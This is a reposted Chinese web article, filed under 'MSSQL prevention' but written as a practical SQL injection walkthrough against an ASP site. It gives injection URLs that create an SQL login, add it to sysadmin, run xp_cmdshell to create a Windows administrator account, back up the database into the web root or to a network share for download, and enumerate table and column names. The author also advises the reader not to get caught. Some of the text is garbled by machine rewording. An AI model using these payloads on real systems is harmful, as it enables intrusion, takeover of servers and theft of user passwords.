当前位置:七道奇文章资讯数据防范MSSQL防范
日期:2011-05-02 15:20:00  来源:本站整理

SQL注入实战---操纵"dbo"得到SQL管理权限和系统权限[MSSQL防范]

赞助商链接



  本文“SQL注入实战---操纵"dbo"得到SQL管理权限和系统权限[MSSQL防范]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

作者:毁灭之魔 文章根源:影子鹰安全网络

方才开始学习SQL注入入侵,有写的不对和不好的地方但愿各位师哥,师姐们多多指导.

在一个供求信息公布的网站上测试了一下,页面Http://www.xxx.com/new/new.ASP?id=49

我做了以下测试:(1) Http://www.xxx.com/new/new.asp?id=49'

Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14
[Microsoft][ODBC Microsoft Access Driver] 字符串的语法错误
在查询表达式 'ID=49'' 中.
/new.asp,行36

(2) Http://www.xxx.com/new/new.asp?id=49 and 1=1
(正常返回页面)

(3) Http://www.xxx.com/new/new.asp?id=49 and 1=2
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
BOF 或 EOF 中有一个是"真",大概当前的记录已被删除,所需的操作要求一个当前的记录.
/new.asp,行42

注:上面的测试已经可以看出有SQL注入的机会,我们用下面一个句子来判断他数据库范例和登陆身份.
Http://www.xxx.com/new/new.asp?id=49 and user>0
Microsoft OLE DB Provider for ODBC Drivers 错误 '800a0bcd'
将nvarchar值 "dbo" 转换数据范例为 int 的列时发生语法错误
/new.asp,行42
注:假如显示"dbo" 转换数据范例为 int 的列时发生语法错误 那么便可以用我下面介绍的办法来得到系统管理权限,假如是"abc" 转换数据范例为 int 的列时发生语法错误 那么就用不能用我下面的介绍来得到系统权限了.

得到以上信息后,便可以提交以下URL来一步一步的得到SQL管理员权限和系统权限了.

(1) Http://www.xxx.com/new/new.asp?id=49;exec
aster.dbo.sp_addlogin fmzm;--
增添SQL用户

(2) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_password null,fmzm,fmzm;--
设置SQL帐号FMZM 的密码为 FMZM

(3) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.sp_addsrvrolemember sysadmin fmzm;--

晋升权限:加FMZM进sysadmin管理组(有时刻会不成功,就常识下面的句子
;exec master.dbo.sp_addsrvrolemember fmzm,sysadmin-- 为什么会这样,我也不清清楚,我就碰到了?栽 ...)

(4) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net user fmzm fmzm /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add';--
成立一个系统用FMZM 并设置其密码为FMZM
(注:/workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes 这些很关键,假如不加这些,你成立的用户很有大概无法登陆,这些是启用你的帐号,并且使密码永不过期的一些相关设置.)

(5) Http://www.xxx.com/new/new.asp?id=49;exec master.dbo.xp_cmdshell 'net localgroup administrators fmzm /add';--

把帐号FMZM加入到管理员组

[1] [2] 下一页  

OK,到此为止,已经得到了SQL管理权限和系统权限了,还有什么不能做的呢?把上面的句子变个形 开个TELNET,大概用SQL衔接器去衔接,随便你怎么整了,记得别表露自己哦 :)目前有些好的IDS已经开始监督xp_cmdshell这些关键字了.


附:
(1) http://Site/url.asp?id=1 ;;and db_name()>0

前面有个近似的例子and user>0,作用是获得衔接用户名,db_name()是另一个系统变量,返回的是衔接的数据库名.

(2) http://Site/url.asp?id=1;backup database 数据库名 to disk='c:\inetpub\wwwroot\1.db';--

这是相当狠的一招,从③拿到的数据库名,加上某些IIS出错表暴露的绝对途径,将数据库备份到Web目录下面,再用HTTP把整个数据库就完完好整的下载回来,全部的管理员及用户密码都一览无遗!在不知道绝对途径的时刻,还可以备份到网络地址的办法(如\\202.96.xx.xx\Share\1.db),但成功率不高.

(3) http://Site/url.asp?id=1 ;;and (select Top 1 name from sysobjects where xtype='U' and status>0)>0

sysobjects是SQLServer的系统表,存储着全部的表名、视图、约束及别的对象,xtype='U' and status>0,表示用户成立的表名,上面的语句将第一个表名取出,与0对比大小,让报错信息把表名表暴露来.第2、第三个表名怎么获得?还是可以
自己考虑下.

(4) http://Site/url.asp?id=1 ;;and (select Top 1 col_name(object_id('表名'),1) from sysobjects)>0

从(3)拿到表名后,用object_id('表名')获得表名对应的内部ID,col_name(表名ID,1)代表该表的第1个字段名,将1换成2,3,4...便可以一一获得所猜解表里面的字段名.

上一页  [1] [2]    以上是“SQL注入实战---操纵"dbo"得到SQL管理权限和系统权限[MSSQL防范]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:

  • 防备SQL注入式攻击
  • SQL注入漏洞全接触--高级篇(二)
  • SQL注入漏洞全接触--高级篇(一)
  • <b>SQL注入漏洞全接触--进阶篇(二)</b>
  • SQL注入漏洞全接触--进阶篇(一)
  • SQL注入漏洞全接触--入门篇(二)
  • SQL注入漏洞全接触--入门篇(一)
  • SQL Server利用程序中的高级SQL注入
  • SQL注入攻击及其防备检测技术研究
  • 闻名的SQL流量注入(SQL注入)攻击法
  • SQL注入奇招致胜 UNION查询轻松免费看片子
  • 安全入门:SQL注入漏洞全接触
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .